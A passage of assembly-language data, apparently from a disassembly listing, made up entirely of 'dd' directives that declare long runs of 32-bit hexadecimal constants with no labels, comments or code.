		dd 6924Dh, 830B5510h, 79D0DDFDh, 0EC30E8A4h, 6F45398Ch
		dd 0DB5E0169h, 0B4DEE862h, 8B344078h, 0EA4BF1B8h, 0B9D7041h
		dd 998F6BE6h, 159E0EE8h, 7A81CC91h, 0EC36E98Bh,	5A264EE7h
		dd 78E40C42h, 0CDCC5B60h, 7C5AA724h, 536A70h, 0D7BCBDCCh
		dd 5F5666A6h, 0D104777Bh, 7F13EA8Bh, 0CC0E68A5h, 2EC01B88h
		dd 0ECC59B9h, 7C09BDD7h, 0A15B0473h, 0B244F34Ah, 71D6300Ah
		dd 0FEEF811Dh, 0FA87A602h, 6160E8E2h, 5D0E4F56h, 18415210h
		dd 638B1099h, 59866E12h, 96290808h, 0C0249AB3h,	0A62DC037h
		dd 42B20388h, 8AAE5B97h, 72B50189h, 34E3F124h, 0DC00BD0Ch
		dd 0B993E8Fh, 0A0FD8527h, 0BAA3FA4h, 0B457E27Dh, 0B2D76060h
		dd 749F2624h, 2601DD08h, 5B467404h, 0F7C5E301h,	0C09A1947h
		dd 0A458B154h, 78224F9Bh, 5CF8089Eh, 0C381C46h,	0E5A22D80h
		dd 0FA891206h, 3D3960B2h, 87267965h, 0A4079CCAh, 84FA722Ch
		dd 44B19180h, 0E0D5DDh,	7FE1A590h, 64F7D362h, 10815631h
		dd 0E36E40h, 0F29E031h,	0E423D37Ah, 9FB1200h, 0E1D520BBh
		dd 0CA260BC6h, 0AC00639Ch, 856F6AA4h, 7E4AE873h, 0AC629013h
		dd 5B6C7387h, 0E62B95A0h, 0A72E2713h, 895DAC05h, 14ADC88h
		dd 0FAB26D01h, 18438E81h, 42B70CE2h, 2288CCE4h,	0B2408552h
		dd 0E6CB3054h, 0CD0027B0h
		dd 1215BD06h, 4D0EE3C2h, 8C001CE9h, 2F0427F3h, 5D0F3951h
		dd 7223AA93h, 0EE42401h, 0B89F257Dh, 545F0B94h,	0B8510081h
		dd 5D0398Bh, 10A27FA8h,	7EF39800h, 4E3B57D2h, 23983A5Ah
		dd 0EDE30013h, 66703E04h, 465C04BCh, 8B070013h,	5D587D96h
		dd 70990D6Eh, 68106445h, 32C2BD88h, 0E0C7E3D5h,	0FEDC04D1h
		dd 0F0D7921h, 235FEE0Fh, 8E334624h, 350DC4E8h, 88F17037h
		dd 0FC038426h, 946D1276h, 0D51AB8EBh, 7AD0A060h, 323F28D2h
		dd 466104A8h, 98A7E34Ch, 3CE366C0h, 33FAB914h, 0C80DB699h
		dd 500D3AFh, 0F113FFD8h, 0F5E6CA67h, 51414875h,	5071EDDDh
		dd 3A8ECCh, 7F556EA6h, 2D32AFCAh, 30B85B09h, 0E260C533h
		dd 0C819350Dh, 0F28F60E8h, 0BAFE0271h, 4FA7D72h, 3E2C2048h
		dd 844D0B28h, 8C60EC9Ch, 0C34F2F42h, 0EFE3F818h, 92ECD912h
		dd 0D68EAC40h, 9412CCDh, 36379F4Bh, 0C4E0884Fh,	4DC889h
		dd 370D75DCh, 0D6882F9Ch, 7FE0F47Eh, 15F7B00Bh,	174CAB98h
		dd 801891C0h, 194A4C41h, 77B012DBh, 6D7C9DF8h, 295A860h
		dd 0AC870D67h, 78E496B8h, 0F80B7098h, 0C523FB60h, 1266E25Ch
		dd 4BFB18h, 29FC5D45h, 40CF95DAh, 65337D14h, 30DEAD7Ch
		dd 0D8003E4Ah, 1C3912C5h, 98C337Fh, 0A729511Ah,	0E542C467h
		dd 0F3A61834h, 40BFE325h, 0C2FEECF4h, 26337CC1h, 0B10184A0h
		dd 1602FA0Dh, 4219B994h, 6E90E056h, 9403827Eh, 74E8AE03h
		dd 0A3004DEBh, 0E1B0772Eh, 0C2B8C4h, 0FC346095h, 62815497h
		dd 0A22791ECh, 41208108h, 0E4000D32h, 6C7D507Fh, 40A10626h
		dd 3B00F411h, 29234BC5h, 0DE0112E8h, 389406BFh,	7FDD4553h
		dd 1205493h, 5DF66550h,	3D60395Eh, 9EC0CCB4h, 0E05182DBh
		dd 60A6E179h, 0F88A11DCh, 233C2F93h, 0B2D7BA2h,	0CD048B92h
		dd 0E4F5610Ch, 399D10B8h, 28FD0338h, 0AAA7565Ch, 2787A590h
		dd 37DAA305h, 0B8C15015h, 7202F986h, 0B000C8C4h, 39C4EB8Eh
		dd 1FE7F6DAh, 423FC792h, 369FA66Fh, 704CBCCAh, 0EA899A05h
		dd 0C4C2878Bh, 3F885219h, 5A9282AEh, 0A4A4200Bh, 0CA0ECC16h
		dd 0DA3008h, 860E72E5h,	0D9E6B0h, 3AD7702Eh, 7D793F40h
		dd 0E98C3530h, 10272BCh, 12346A14h, 0C6FBB48Bh,	9D0124F9h
		dd 649C99C1h, 18F26862h, 0DAC09C31h, 6ACC9427h,	3D00DEE8h
		dd 62FE4B29h, 942E790Eh, 0F4E20960h, 7A46F8CEh,	0A3CC0B71h
		dd 149C4AA7h, 81E707Bh,	0F42633BBh, 5FD13900h, 788487FEh
		dd 0F0073094h, 5B21FCD1h, 260728E0h, 508824F2h,	0C85A77F1h
		dd 0AC225071h, 0CF305CF2h, 26F8902Bh, 3E85309h,	5AF8F3FAh
		dd 0D6D4E28Ch, 0E700806Bh, 0A34860D0h, 0B602C2D7h, 0B0B2011Dh
		dd 3824441Ah, 6D8817E5h, 4180060Bh, 18254BABh, 884B185h
		dd 0A4008A68h, 3B795B9Ch, 0F850F3E6h, 0BC33772Fh, 440D8068h
		dd 0A7C17197h, 0B2176907h, 62803B9Fh, 2604A33Ch, 920B4D5h
		dd 382E5696h, 30FF5FE4h, 0FCACF89h, 0BAE2BB8Ah,	0B11C3752h
		dd 3911027Eh, 3F5AC1B4h, 682C1BDEh, 3D69183h, 0C8788EC5h
		dd 0D656C058h, 0F100A43Bh, 0B09989ADh, 5E62A3AFh, 3DA829A1h
		dd 2A804h, 0F1F67433h, 0DD738CC3h, 0ED945409h, 19E4910Ch
		dd 2100D432h, 9F9D436Ch, 3717F6CCh, 7490E50Ah, 38AEADEh
		dd 0AFB17A89h, 0C7E02D02h, 33725E68h, 5815D1C0h, 7FA4FFh
		dd 2C0B4E1Fh, 0C3D5E4CAh, 0E6525F04h, 78B9E042h, 10642E96h
		dd 0E8D134E0h, 98086007h, 0BB7DF1DBh, 5A31C8ABh, 1248309Dh
		dd 644F2DACh, 3815A41Ah, 0FA98E311h, 5E00D915h,	0DCEDB127h
		dd 2F87A805h, 0C883F272h, 0E79D3A89h, 0D87C2960h, 8634E4D0h
		dd 1155E000h, 5A400E09h, 4FF10266h, 8B2E7E34h, 9C5B30C0h
		dd 6E5260EAh, 1D471FE0h, 0AC3E9B40h, 0E6D0B957h, 0C46C0778h
		dd 0A27EBB73h, 0B05B1CAFh, 465C5CA4h, 0D0310057h, 0BC6B5FF1h
		dd 28849BBDh, 0DA02250Ah, 1879A099h, 0A217B058h, 3FCC7BCh
		dd 82083075h, 3671DDA8h, 7ACDB501h, 2F5FAA93h, 0B83FE040h
		dd 23240540h, 0B26817E6h, 0BB8880ECh, 0C0592FD3h, 890C6730h
		dd 4A002D50h, 0F7A15116h, 9464C19Eh, 16465CE0h,	0D1848338h
		dd 0C6997E8Ah, 0FB77708Eh, 68DF2324h, 91649DADh, 0A01A8F09h
		dd 94BDB1DCh, 921F27E2h, 58C8AC6Eh, 0C191C052h,	972E9524h
		dd 0CC58CC22h, 2EC10799h, 0A5662511h, 4610C03Dh, 2EE1CD0Ch
		dd 0BD10AC2Fh, 79FEC011h, 1F9F5DC8h, 5DAA7803h,	0DE29DFE7h
		dd 0E069524Ah, 2C26A458h, 0E024E477h, 0D8825844h, 0E1E8E09Fh
		dd 81563E7Fh, 0E04C84Ch, 0B8665114h, 8C17B81Ch,	9441F905h
		dd 58C2DD1Ah, 89F0569Fh, 0F809CFDBh, 7678C053h,	0B0F30085h
		dd 5233C1B5h, 0A22D6FE8h, 486401F7h, 7C20F2A5h,	0E27C4088h
		dd 4AA9F25h, 0A17944h, 0C1BCEC78h, 0B525008Ch, 0B44C581Dh
		dd 942539E8h, 5040686Eh, 0CFC007A7h, 80BAF2C4h,	26DE1740h
		dd 0B434D100h, 5D6B294h, 23A05E1Fh, 39D8AA7Ch, 9D005365h
		dd 0FB918F77h, 1663CAEDh, 94265FC8h, 0E838C4C0h, 0C79B25E4h
		dd 601B64E4h, 0FC66729Bh, 0CB971D61h, 34EF4968h, 7A133C52h
		dd 84E03CFAh, 991A2AC6h, 0E1F869D8h, 0C370C073h, 97A708A5h
		dd 0F01FA32h, 42912DABh, 8B4A903Ch, 0C0C0C864h,	0C513BE4h
		dd 917438h, 534665F4h, 0F21210D9h, 5FFCB21Eh, 23642E87h
		dd 0FCC40057h, 100DD899h, 91302A72h, 7FE451CEh,	84000A4h
		dd 2FD71206h, 0CF25D270h, 0FA8CE02Ch, 0B8EB48B0h, 0C05CBC12h
		dd 487698B0h, 11E13430h, 2F514C9h, 5B4B8C77h, 384010E0h
		dd 1A5F780Ch, 63922842h, 4C4064CCh, 0B93A207Ah,	0A400BD40h
		dd 0C68B7BFCh, 54AADF5Eh, 0BA8BC7Dh, 0F7D28514h, 6B355048h
		dd 1B79A499h, 97966019h, 0F394BA01h, 8B221A99h,	4C82C3F4h
		dd 862FE8A6h, 5D119417h, 27DB9C80h, 8113D8F8h, 78F4269Fh
		dd 0D424F1E7h, 0F26F17E4h, 0E1E007EAh, 412640BFh, 6B26ABC5h
		dd 2A07185Ch, 2F74BF4h,	0CC24F970h, 2F3B0F0Ch, 0E4621E4Ch
		dd 2C707DB7h, 0B577361Ch, 0AD825870h, 2A35020Ch, 167DAEF2h
		dd 847B4879h, 9137ED60h, 5E975400h, 0E3C4CC36h,	90D24972h
		dd 0DE82C4Ch, 6C733C8Ch, 0C30C6187h, 0B02370F3h, 2713CEFFh
		dd 8C9007ADh, 0C18039h,	8D3E14Bh, 0F2E29F97h, 37DB8B07h
		dd 0E98A23h, 0B943F304h, 6CCA477h, 1B01B75Eh, 2E00112Bh
		dd 0E17AB129h, 261EE49h, 97264036h, 0C868D4F2h,	152D1EDFh
		dd 41584CAAh, 0BB608B56h, 0A06870DEh, 9CEF1AB4h, 6BBC85E8h
		dd 252CC0C5h, 0C2D5698h, 409C46E9h, 20A7B6C0h, 0C188DD08h
		dd 892E94B8h, 0DB6B3CB9h, 0EDFA5834h, 6C82A11Eh, 6FD17647h
		dd 65B509B2h, 3509E264h, 7A37B18h, 0D231344Eh, 0E7A46EE1h
		dd 18D8FC87h, 0DF790142h, 0D1784AB4h, 298C5EE0h, 8E9209CCh
		dd 0B74C9256h, 78F400A0h, 0E39F52F9h, 0C71A871Eh, 467614AEh
		dd 0D2D300BEh, 0C4E8AFB0h, 2EE42EA3h, 6D380B94h, 9970B45Bh
		dd 83EE388Ch, 0EC267051h, 98581EF0h, 0A93A3F02h, 4269F261h
		dd 5824DBACh, 2C004612h, 9F51A541h, 9C68D9h, 20B638Ah
		dd 0EE8E5893h, 0B0E3CB32h, 87A07608h, 70D2644Fh, 0B5142FABh
		dd 9F9C5D00h, 0BB1D0260h, 42740463h, 0C0BA1B8Fh, 984382Ch
		dd 0EB30E5E8h, 8AE6C991h, 467E43Dh, 29341D72h, 16E48CA7h
		dd 6348A500h, 2FFD3E52h, 8DB70092h, 87998AD3h, 795D3DE1h
		dd 260B9ECCh, 0E474E560h, 26A6052h, 0C5450187h,	0B2DE7ADBh
		dd 141C30A7h, 1269BCB0h
		dd 9088406Ah, 0D9609964h, 8F180Eh, 106E7C5Eh, 0C8948B60h
		dd 20E1C426h, 0ECD2FE13h, 0D638D487h, 0D71A7F05h, 0D80012F6h
		dd 913494D5h, 58EF6F86h, 99E6167h, 0D1422092h, 6C42CC6Ah
		dd 0D32E9CC8h, 0BC68F048h, 1124365h, 6B43FEB8h,	0A9FB9A4Dh
		dd 84727220h, 0ED71B500h, 50831BC2h, 0D9FB1E01h, 0B346C196h
		dd 3CAADCF0h, 0C5A5812Dh, 0C064D0E7h, 0B3731067h, 0FE3824DBh
		dd 8660160h, 77E641EAh,	0C071D874h, 0AFCEC9B1h,	4451A8CFh
		dd 0F26C7280h, 0DCEA31CBh, 9D018AA7h, 9FAE45D4h, 14200B22h
		dd 0F882E3F9h, 0DD5D8FB4h, 0B70B487Ch, 10E0213Eh, 243F5289h
		dd 0B228B274h, 0A90F305Ch, 8094EB4Ch, 2819ADE1h, 0ED8B5046h
		dd 2218C0CAh, 0A84EF3DEh, 9EAF9B38h, 688120C8h,	0A696B9DBh
		dd 5C504CFFh, 0BC20BA2Eh, 44B0F809h, 0A865BC24h, 30C2B99Ch
		dd 0FC1CC114h, 6F4E3F38h, 2AD921E0h, 1440ABE3h,	0BEF91A8Ah
		dd 0E27A02C8h, 4400BDB3h, 4D02772Fh, 6722300Fh,	30E62C3Bh
		dd 0AA50304Bh, 5DE10DA7h, 72A9E429h, 3018F2ECh,	48B0A4A8h
		dd 7117EB32h, 1AC6200Fh, 0AA52FB71h, 0A1F457B0h, 0AA6156EEh
		dd 291E6F4h, 0E28231C5h, 0C848327Fh, 2D55F54Ah,	0ECFBF0C4h
		dd 0E5187B25h, 6016E47Ch, 1D2CCDD3h, 6FF73643h,	9D5AC61h
		dd 78F77832h, 914163C0h, 0D36001D8h, 4BDD9EB9h,	2CCE3177h
		dd 8CE3E8DCh, 0D2F53E03h, 98854470h, 0C037EA8Bh, 8425E851h
		dd 0A4149ADDh, 13F33460h, 94F22D02h, 0C34E6F1h,	7E2C1E75h
		dd 0C4E2E781h, 1029A441h, 65A2276h, 72DB0BA5h, 0E10F39DCh
		dd 0E1D7D88Dh, 0B2988A15h, 4924C4h, 0FE0C22B1h,	0F33F7D1Eh
		dd 12D430F9h, 0A07259C4h, 0E404A943h, 917E9E0h,	0B012890h
		dd 647B6D54h, 0C451698Bh, 7180FD71h, 47115CA9h,	7902E9C5h
		dd 94C10F1Dh, 80A4D46Eh, 0AB7B6854h, 0F0396A1Eh, 91D83Ch
		dd 9E1B3FB8h, 275CF10Ah, 4420DF38h, 0C1E8F3ECh,	0B6CC8A80h
		dd 0A215E08h, 0BC168035h, 2239D8ECh, 8EEBEE00h,	4172F2AFh
		dd 0E33509B0h, 4C7A91B9h, 80E00D5Ch, 0F862F969h, 588B8A1h
		dd 4A543F31h, 0B020F685h, 5E735Bh, 5DC10599h, 9506C53h
		dd 0AE0C0D00h, 29B93DBh, 40EA0090h, 1E83FBC3h, 42001267h
		dd 0DED28D8h, 0DD1126h,	9E59DA0Ch, 161EB533h, 846AEB3Ch
		dd 2B4EAB3h, 68D871C0h,	0FD3F0636h, 86F0CFEh, 0F221C660h
		dd 0E486D89Ch, 7C17009Dh, 9A64476Ah, 0FFF0D5B1h, 0B7288F60h
		dd 0C0ADA760h, 920AE518h, 977CD2C6h, 2AEAA606h,	610CC54h
		dd 419CA95Ch, 220039FEh, 756FEE0Ah, 1D9D4F1Dh, 184EED7Dh
		dd 40B4D825h, 0DAEE0300h, 7E424B33h, 0FC353CC1h, 0AC513183h
		dd 5CC002E4h, 5778FBAEh, 0D913A39h, 204E9724h, 0CDC9ECh
		dd 93FF8178h, 3C60B938h, 0CC04C200h, 0C1FE486Fh, 0EB884089h
		dd 801A4B7Ch, 4F8E89Dh,	0A060C694h, 36236CD8h, 0CA119Fh
		dd 0ED898CEh, 6003C83Eh, 0B6254C2Ah, 98A4E360h,	1AEB0A1Ch
		dd 812C6794h, 3663D845h, 10CB31EEh, 7D89DF7h, 0AB6D19E4h
		dd 78263048h, 22010C97h, 845ADE46h, 9854010Bh, 0C098B008h
		dd 756BEE06h, 2622FD46h, 29DF4409h, 0B47E8A2Bh,	4080AC1Fh
		dd 0B03A75A2h, 31B8C0AEh, 3C30F5D8h, 2B10FC60h,	0A515FD42h
		dd 60C7E490h, 0C792728h, 0D595E785h, 44049018h,	0FB3F1E8Ah
		dd 1B22E980h, 0E2C83E27h, 0A860C381h, 80323EC9h, 75A701B1h
		dd 7B82D517h, 0E9A101ACh, 0C6AE4D38h, 3BEBC07Eh, 0FF71C102h
		dd 884B68h, 3833F151h, 7099B230h, 0C0030493h, 0C56A5C50h
		dd 0BE07F1FDh, 70A5FAD6h, 132660BEh, 929D03D9h,	0DDD0FFB0h
		dd 11986092h, 9F746614h, 0CD751E03h, 753D19AEh,	5921C008h
		dd 620746Dh, 8CDE0C00h,	69A07709h, 0B1998897h, 3C4C7824h
		dd 47205828h, 0C4330038h, 0B07D58Ch, 921F2C36h,	8B075821h
		dd 77859FE5h, 0B1BF440h, 90EE5717h, 0C7C00168h,	18D5B0BDh
		dd 4FC54B1h, 3FF64E0h, 0ECB82AE5h, 0E60C080h, 0E0AD008Dh
		dd 6D9B110Bh, 0C4A8AE91h, 0BF076E8Ah, 1E653005h, 305D6BA3h
		dd 0AB21E308h, 2D03BFC6h, 17674D5Ah, 1AC081F2h,	0CAF22832h
		dd 15E6530h, 71B27848h,	0FC06EC45h, 68C1A17Eh, 0A9551AD5h
		dd 9F236822h, 72EE0901h, 2C181575h, 23988h, 0D6C4BEEEh
		dd 0A545F5Ch, 0E28B2507h, 181E3E6Dh, 14FB729h, 3C0807D9h
		dd 41E920EEh, 30FDBBBBh, 7914D724h, 2D07AAEh, 2944FA80h
		dd 0C1DC4D16h, 40A4E73Ch, 0FD685BCFh, 24264479h, 2181501Fh
		dd 7CEB4A80h, 0C2B0420h, 0E219C837h, 0B1615F10h, 0FE2F9F48h
		dd 0E121C24h, 680343F5h, 0AC343242h, 9B10F081h,	72E45869h
		dd 3009BF08h, 40DCC4C5h, 11BF6A6Fh, 3A90CC2h, 33494362h
		dd 0C1DE1212h, 4205141Fh, 303AB078h, 5E00E123h,	0A27733D4h
		dd 0EED80015h, 1C22516h, 10037150h, 115B0F34h, 37FC88Bh
		dd 854800B2h, 93B6D7F6h, 0F0C405E4h, 98CEC420h,	0DCC0C588h
		dd 16C2A8h, 0C686E548h,	7646787Dh, 4A146703h, 98FFD40h
		dd 0A990F031h, 0ECD8CC13h, 0D93E2D2Bh, 0F24780DAh, 230806B4h
		dd 3F1F1884h, 0E2AD39F9h, 0DF001AE2h, 643C4AFFh, 40C26Bh
		dd 3F681D55h, 9FF51CDBh, 2C30B113h, 110C4440h, 0B05B33EFh
		dd 5670044h, 5AF95DC3h,	70A08104h, 0FA091D0Dh, 82D69942h
		dd 0A0D7953Ch, 0B092FDACh, 200E00BAh, 0BC151E6Dh, 0D0A25DABh
		dd 8071948Eh, 756EEE05h, 224E43F5h, 0DE3D0027h,	23D03329h
		dd 40617B1Ch, 9A802218h, 417C42F2h, 0A118C3F0h,	3667D808h
		dd 40C4C447h, 5AD899F3h, 0BD7800D0h, 35EBDF3Ch,	2890BB4Ch
		dd 86697F3Ah, 0AC917184h, 611B01D1h, 0D44DE2A0h, 0C47091B2h
		dd 6AD8A280h, 24996F36h, 0D89AD0C0h, 0D17400E0h, 793D43CBh
		dd 0A9505B50h, 58936B88h, 0EFBFD402h, 58CF8A30h, 6D40DE64h
		dd 4B24BF6Ch, 9B7DB705h, 7883A0DCh, 11F8CB0h, 38491FB9h
		dd 2294249Fh, 1AE8420h,	0CFEB175Dh, 414FCCA9h, 64329E9Ch
		dd 2505EA34h, 80570EA8h, 0C06DA848h, 3661D847h,	0E0983758h
		dd 3D89FF1h, 1E629876h,	0BC9B9045h, 639301E1h, 74047E44h
		dd 0D3951C13h, 5D20A732h, 3F97469h, 31DDB52Bh, 0B8AECA0Ah
		dd 4762371Ch, 10029B16h, 0E4141Ah, 426D987Dh, 93C53904h
		dd 0C4C23212h, 3930E43Ch, 0CC820E61h, 19AC5BC4h, 2C0D5867h
		dd 70203141h, 4D44486h,	6828632Ch, 5133410Ch, 45271E07h
		dd 5E3DC3CDh, 60E01A8Ch, 0EB00C57Ch, 0A9FF82B3h, 58013868h
		dd 0D4846C8Dh, 0EB421CF9h, 0A09D3133h, 671269B8h, 97F5304Eh
		dd 3062E88h, 52162884h,	959422D0h, 2A0A7B0Ch, 26BBF8ADh
		dd 92404731h, 920C4FEBh, 0E5B090D2h, 1D00A949h,	9D4A421Ch
		dd 0D7D14Ch, 86919B2Fh,	23E2817Fh, 607DB804h, 948029D0h
		dd 6432D2FCh, 5F2DF051h, 118250C2h, 9138AFBCh, 0A842D040h
		dd 3048B1C4h, 6BE8AF94h, 8F5803F8h, 0C09D8888h,	75D4EEEFh
		dd 27222546h, 0EE083B03h, 98929958h, 50330F8h, 0D9C821EBh
		dd 97880984h, 10E83093h, 8BEEA84Bh, 77D1DB02h, 60D870B7h
		dd 780F545Ch, 8AB62E4Ah, 8074111Ch, 300ABF6Bh, 0A800876Dh
		dd 42F2BFC3h, 0DBAD1273h, 0ECB413BEh, 741000DBh, 0FB7E9FAEh
		dd 91BC94EAh, 82A38B69h, 4C973618h, 0CDC34494h,	74D89B02h
		dd 0C0D025A0h, 8097545Ch, 0E0A89C93h, 0E30186CEh, 1DDA4758h
		dd 0F524B75Bh, 34375D3Eh, 936B7E0Eh, 0CD7213A0h, 120622F1h
		dd 3B1648CEh, 5C80630h
		dd 99B441ADh, 199AC481h, 7571B401h, 4C8BC045h, 29F94200h
		dd 0D7C71A3h, 2AC83C03h, 762F17DAh, 0D19C6521h,	9113C6h
		dd 0F6F1B52Fh, 4700A563h, 2499C2A7h, 0EBFBEFE3h, 2188404Bh
		dd 0E58172C0h, 226D0FDDh, 0ED4063E9h, 15DC6816h, 498CBA0Bh
		dd 91B8975Bh, 0F6FE8030h, 241A7BE2h, 960E3B0h, 1404FDDEh
		dd 0BF6F6070h, 4D3017EEh, 6C4C2C1Dh, 0A4BF673Fh, 68041184h
		dd 9CB6AA7Fh, 0C4E20C52h, 43C2830h, 0B0447D5Dh,	4B94B6BFh
		dd 2623442Bh, 877BC500h, 13F4DCD6h, 81AA1DB5h, 4BBE2028h
		dd 0C0C58850h, 0F0BE1134h, 0ACC4CF03h, 0A4A5C81Bh, 924C98C0h
		dd 0C454A59Dh, 0BD4B602Bh, 0FD702E4h, 0D3F6C684h, 0BB38A458h
		dd 9320D902h, 1E441002h, 4420CC8Dh, 700F5AACh, 3EDF6774h
		dd 0C81F2702h, 0DAA4684Dh, 4ED0F022h, 42B00235h, 90E43E4Bh
		dd 0CE8AD300h, 0AD12945Ch, 1B647D31h, 21FA3E9Ch, 0E788F683h
		dd 0AE0AD216h, 0F015AF72h, 8A4C38DCh, 84802E3Eh, 6FEF340Dh
		dd 6C94D1F2h, 1CCB16E2h, 70246F46h, 75300512h, 4C14CB1Eh
		dd 9DBF0545h, 9040A192h, 98FD2706h, 388F0531h, 88B70445h
		dd 1CA095E0h, 1F00C544h, 6C5BC6B3h, 7F773FCEh, 0B51D00D0h
		dd 0C4EA6B6Dh, 0EC900B5Fh, 465E7894h, 0BC5F762Bh, 24C86FF0h
		dd 420DF51h, 0E0BA5C34h, 91003A2Ch, 8044BD0Ch, 4F3F0F20h
		dd 0D1784894h, 0EFC3B84h, 249F38E0h, 11E084D0h,	0BF718072h
		dd 945D3004h, 69AA58FCh, 7237BF01h, 20A95AB7h, 2C3C7EE8h
		dd 8884D324h, 0D596010Eh, 2F527C20h, 476D0612h,	212E41F0h
		dd 0D2FF5F01h, 0CBBF2BDDh, 1D854DF8h, 5C23ECh, 0ED04CE93h
		dd 0D01820A8h, 0EEF0E1C5h, 2FD84A56h, 7302384h,	0A11F704Fh
		dd 20C5AC32h, 0BFB0BD14h, 4EC19B3Ch, 0C211D401h, 0D05B5B53h
		dd 0D9771D80h, 0A300315Ah, 0DC518A7Bh, 72B13Bh,	71144BC8h
		dd 9168532Fh, 92B37400h, 876F130Eh, 508CCB6h, 0A91E5521h
		dd 0D3008D74h, 0D2CEE6F7h, 160B3E31h, 3A53D903h, 8A0341Ah
		dd 0B9000F71h, 0BFBAA7D4h, 3AB27673h, 0E2274AFh, 0C9A1F100h
		dd 4190F6D6h, 0EB8400DAh, 8729272Bh, 0B71960C0h, 0C9780777h
		dd 6F57A4D0h, 16386Fh, 0E8D035E2h, 3375568Bh, 7F085366h
		dd 45AA0121h, 0CEE77735h, 0A000D75Ah, 593965F8h, 601834DAh
		dd 0FDB6D111h, 0CA78EF23h, 0C037C0C8h, 0BAA6D4B8h, 0BF74A721h
		dd 0A000F244h, 0EA832C9h, 7734927Ah, 197EAECh, 3C4BFD6Dh
		dd 0C0274CB1h, 71C0E0EDh, 6276C6CDh, 7B94146Dh,	0C523C038h
		dd 0B274AC01h, 0DE190692h, 74A45620h, 6AD4000Dh, 7C141125h
		dd 94A8D1B3h, 29C00F48h, 3FEFB84Ah, 5120EE3h, 7DA008D4h
		dd 0D573F06Dh, 0E30D000h, 857CB6CDh, 0B22E0ADCh, 4C44C272h
		dd 9229B9F4h, 11144BEh,	749F4701h, 408CDA33h, 0EBD134D8h
		dd 0EF7D1200h, 0C64B7508h, 7C94A037h, 0A4817AB5h, 2A046E4h
		dd 0E8CC3541h, 107931ABh, 753539AEh, 15E81D91h,	1747C561h
		dd 0C8C05802h, 4850DC1Dh, 10E1B2F4h, 7EC8CA6Eh,	12D4F881h
		dd 2FC646FCh, 1742320h,	0F61814C0h, 0E824DCD7h,	2603B639h
		dd 0F909BD4Ch, 7C1410F3h, 5E57281Ch, 0F2D50AFCh, 1EB48C0Dh
		dd 0C015014Eh, 80A2E41Ah, 0B2329121h, 0C5699F14h, 378B810h
		dd 0BF5FDA8h, 675A5118h, 48D10989h, 420094EEh, 0C71D7C47h
		dd 0ED303077h, 0F6CD419Eh, 67280757h, 0C56671h,	0CE634D9h
		dd 51361731h, 95D07E40h, 86521F0Fh, 994A8BFh, 5E1885FAh
		dd 0EB888803h, 0E19491ACh, 88D44EEEh, 8D27C076h, 81F11880h
		dd 14B3EF0Ah, 0A8A84F0Bh, 403EF004h, 4EE2E607h,	0F0703867h
		dd 40684DF3h, 20F48488h, 14F0506Eh, 40731B30h, 0F531E30Dh
		dd 0D43AAC45h, 25000923h, 3001185Bh, 9259062Dh,	5067EDEBh
		dd 0F913FC04h, 6059B2F4h, 0D4F41945h, 0D7BA1090h, 9F06C873h
		dd 0D45DF8h, 81E562F4h,	0D832E47Eh, 65B2B8A0h, 726BE2B0h
		dd 147B18h, 185F6A3Fh, 0B340A805h, 968DF72Eh, 1B369420h
		dd 46605117h, 74AB02C6h, 319E92B5h, 8021B802h, 1D2874A3h
		dd 24A048B7h, 7A4B658h,	0F0437ABDh, 3DB2942Ah, 0B4109902h
		dd 99BF7714h, 79A802E0h, 2A24610h, 0E8CA353Fh, 0A8473Bh
		dd 4B353790h, 7800D502h, 0A8D4523Eh, 1472DDBBh,	0C47FBA43h
		dd 9121270h, 0A20828F5h, 0E2CC6C53h, 2098300Ch,	177C2B00h
		dd 0FAF5459Fh, 0C006987Dh, 0BF40B360h, 5A600D6Eh, 1AA7B510h
		dd 341C0FDh, 0E95CAAA9h, 267AB900h, 0A3999D48h,	42230D83h
		dd 0A29FB1Ah, 0F832016Ch, 39AAB0CCh, 2C8BEFD8h,	3E98F340h
		dd 0F20FDFA0h, 41B92631h, 70FB4B02h, 0C177D040h, 0CF7A6Ch
		dd 0D4F2EB5Dh, 0CD4DDFF3h, 4600BAECh, 9178AC53h, 29CC514h
		dd 0B66EBDC3h, 0FC4012C4h, 761F4AD0h, 0BED43AFFh, 1462398h
		dd 0BAABD4B5h, 880B18DFh, 2CB0BDF5h, 75B01200h,	3FA815FDh
		dd 94CF5005h, 0ECBA09AAh, 80279AEh, 69E177A7h, 0B0789601h
		dd 0EC7E6402h, 6F18483Eh, 651D28E3h, 1ECDF2ECh,	0C0BA8D7Ch
		dd 0A02F9874h, 0F0C07530h, 2ECA5108h, 0BAF70743h, 1CF2148Fh
		dd 21C06508h, 0BE2EC2B2h, 8C862A70h, 0A340A1DCh, 351EAE18h
		dd 11E3E8CDh, 46AD007Ah, 5B41A235h, 80D090A1h, 20438F54h
		dd 78329E8Ah, 0C7533151h, 60034488h, 5417880Fh,	0E2A8FEh
		dd 0BF6FDE64h, 3D9318DCh, 86225A3Dh, 764B2B58h,	3A7106E1h
		dd 90677AE4h, 57EFB600h, 6F7D4F2Eh, 0AD943763h,	0BD8EFE29h
		dd 0CDC09CD4h, 0A2F7AE2Eh, 0C5B30087h, 0B5F6EB2Eh, 0D4042828h
		dd 417EE409h, 974005C0h, 6A23C42Fh, 27B6EA03h, 0D567D8CDh
		dd 921A13E6h, 0D4830D2h, 0E472BA0Fh, 7BD0C460h,	9980BDFBh
		dd 803911DCh, 0BAACD4B6h, 70CFFB7h, 90BEF488h, 0F8910BF0h
		dd 0A4022088h, 0D50072C6h, 2CC1AB6Eh, 7408B5F1h, 57070B46h
		dd 308511D3h, 1E4BACA3h, 0D150B202h, 477F8A20h,	80114E00h
		dd 61A602F6h, 0AED000B0h, 0AA39733h, 0CC93D13Dh, 207C5A09h
		dd 57376334h, 145F2C8Ah, 62C700CBh, 2C87EAC6h, 6BEC2B0Fh
		dd 0E927C060h, 0A43652EEh, 0A180A1DCh, 35094018h, 4553E8C7h
		dd 38938088h, 96E41035h, 0CE2BB20h, 44BCFA1h, 0F616F4C1h
		dd 3B00EF03h, 3A788AA6h, 85C30092h, 0D4F82352h,	91E410B6h
		dd 0E8D23905h, 0BC085513h, 0D4B4C243h, 73C71460h, 0F6509894h
		dd 0C3D438BCh, 83481383h, 88FCFD30h, 9920F3C4h,	81D0AC68h
		dd 0A818C1C4h, 92B67408h, 64C8A6h, 0F574A04Ah, 0B0916ED0h
		dd 15E61838h, 4D4E0721h, 0A4484C9Eh, 0B0522C41h, 2ECC30BEh
		dd 0CAF7AD11h, 0B0836D88h, 0EBE52EC4h, 9F35B078h, 16943B98h
		dd 887ADCC9h, 0D91265FAh, 0C070DA59h, 7EF16DF8h, 71E8B301h
